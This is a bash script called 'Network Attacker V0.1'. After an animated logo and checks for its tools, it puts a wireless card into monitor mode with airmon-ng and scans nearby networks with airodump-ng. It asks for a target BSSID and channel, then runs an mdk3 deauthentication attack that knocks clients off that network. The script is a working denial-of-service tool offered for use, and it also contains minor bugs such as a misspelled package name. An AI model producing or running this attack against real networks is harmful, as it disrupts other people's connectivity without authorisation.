#!/bin/bash
err="Error: Directory $path does not exists."
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
nc="\e[0m"
mon="mon"
#START UP
#logo
sleep 0.25
clear
echo -e "$white"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				 -------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$grey"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$purple"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$red"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$green"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$yellow"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$Purple"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$cyan"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$Cafe"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$Fiuscha"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
sleep 0.25
clear
echo -e "$blue"
echo "				-------------------------------------------------------------"
echo "				███╗   ██╗███████╗████████╗ █████╗   ██╗   ██╗ ██████╗    ██╗"
echo "				████╗  ██║██╔════╝╚══██╔══╝██╔══██╗  ██║   ██║██╔═████╗  ███║"
echo "				██╔██╗ ██║█████╗     ██║   ███████║  ██║   ██║██║██╔██║  ╚██║"
echo "				██║╚██╗██║██╔══╝     ██║   ██╔══██║  ╚██╗ ██╔╝████╔╝██║   ██║"
echo "				██║ ╚████║███████╗   ██║██╗██║  ██║██╗╚████╔╝ ╚██████╔╝██╗██║"
echo "				╚═╝  ╚═══╝╚══════╝   ╚═╝╚═╝╚═╝  ╚═╝╚═╝ ╚═══╝   ╚═════╝ ╚═╝╚═╝"
echo "				-------------------------------------------------------------"
echo -e "$nc"
#ROOT PRIVILEGIES
if [[ $EUID -ne 0 ]]; then
        echo -e "$red You don't have Root privilegies, execute the script as root.$nc"
        exit 1
fi
#Check

#bash
if which bash >/dev/null; then
		sleep 0.25
    echo -e "$green[BASH]$nc Installed [$green✓$nc]"
else
		sleep 0.25
	echo -e "$green[BASH]$nc Not Installed [$red✗$nc]"
			sleep 1
		echo "Install Bash BY Typing [sudo apt-get install bash]"
fi
#airmon-ng
if which airmon-ng >/dev/null; then
		sleep 0.25
    echo -e "$green[AIRMONG-NG]$nc Installed [$green✓$nc]"
else
		sleep 0.25
	echo -e "$green[AIRMONG-NG]$nc Not Installed [$red✗$nc]"
			sleep 1
		echo "Install Bash BY Typing [sudo apt-get install airckrack-ng]"
		sleep 0.25
fi
#airodump-ng
if which airodump-ng >/dev/null; then
		sleep 0.25
    echo -e "$green[AIRODUMP-NG]$nc Installed [$green✓$nc]"
else
		sleep 0.25
	echo -e "$green[AIRODUMP-NG]$nc Not Installed [$red✗$nc]"
			sleep 1
		echo "Install Bash BY Typing [sudo apt-get install airckrack-ng]"
fi
#mdk3
if which mdk3 >/dev/null; then
		sleep 0.25
    echo -e "$green[MDK3]$nc Installed [$green✓$nc]"
		sleep 0.25
else
		sleep 0.25
	echo -e "$green[MDK3]$nc Not Installed [$red✗$nc]"
			sleep 1
		echo "Clone And Install Mdk3 From [https://github.com/wi-fi-analyzer/mdk3-master]."
		exit 1
fi
#git
if which git >/dev/null; then
                sleep 0.25
    echo -e "$green[GIT]$nc Installed [$green✓$nc]"
                sleep 0.25
else
                sleep 0.25
        echo -e "$green[GIT]$nc Not Installed [$red✗$nc]"
                        sleep 1
                echo "Install [ GIT ] By typing : sudo apt-get install git"
                exit 1
fi

#
	echo "					---------------------------------------"
	echo "					|	Network Attacker V0.1	      |"
	echo "					#######################################"
	echo -e "					#Programed By $green Belahsan Ouerghi .$nc     #"
	echo "					#######################################"
	echo -e "					#$Cyan Contact:$nc FB.com/ouerghi.belahsan    #"
	echo "			                #######################################"
        echo -e "	                                |'$Cyan Feel Free in an open Source World '$nc|"
        echo "					---------------------------------------"
			sleep 0.5
	echo -e "$red NOTE: $nc After Choosing an Interface Your Monitor Will Be Down ."
sleep 0.5
	echo -e "$yellow This is The Available Iterfaces : $nc"
sleep 0.25
	echo -e "$blue +------------------+$nc" 
	echo -e "$green"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d'
	echo -e "$nc"
	echo -e "$blue +------------------+$nc"
echo -e "$green"
read -p "Enter Your Interface : " interface
echo -e "$nc"
airmon-ng start $interface
airodump-ng $interface$mon
trap 2
echo -e "$green"
read -p "Enter Your BSSID : " bssid
echo -e "$nc"
sleep 2
echo -e "$green"
read -p "Enter Path To Save The BSSID : " path
echo -e "$nc"
	echo $bssid > $path
echo -e "$green"
read -p "Enter BSSID Channel : " ch
echo -e "$nc"
	echo -e  "$blue------------------------$nc"
	echo -e "$blue|$green NETWORK UNDER ATTACK$blue |$nc"
	echo -e "$blue------------------------$nc"
echo -e "$Cyan"
mdk3 $interface$mon d -b $path -c $ch
echo -e "$nc"
if [ -d $path ]; then
        echo "Directory $path exists.[✔]"
else
        echo -e "$red Program Closed$nc , Theres was a problem"
        echo "$err [✘]"
        exit 1
fi

#EOF
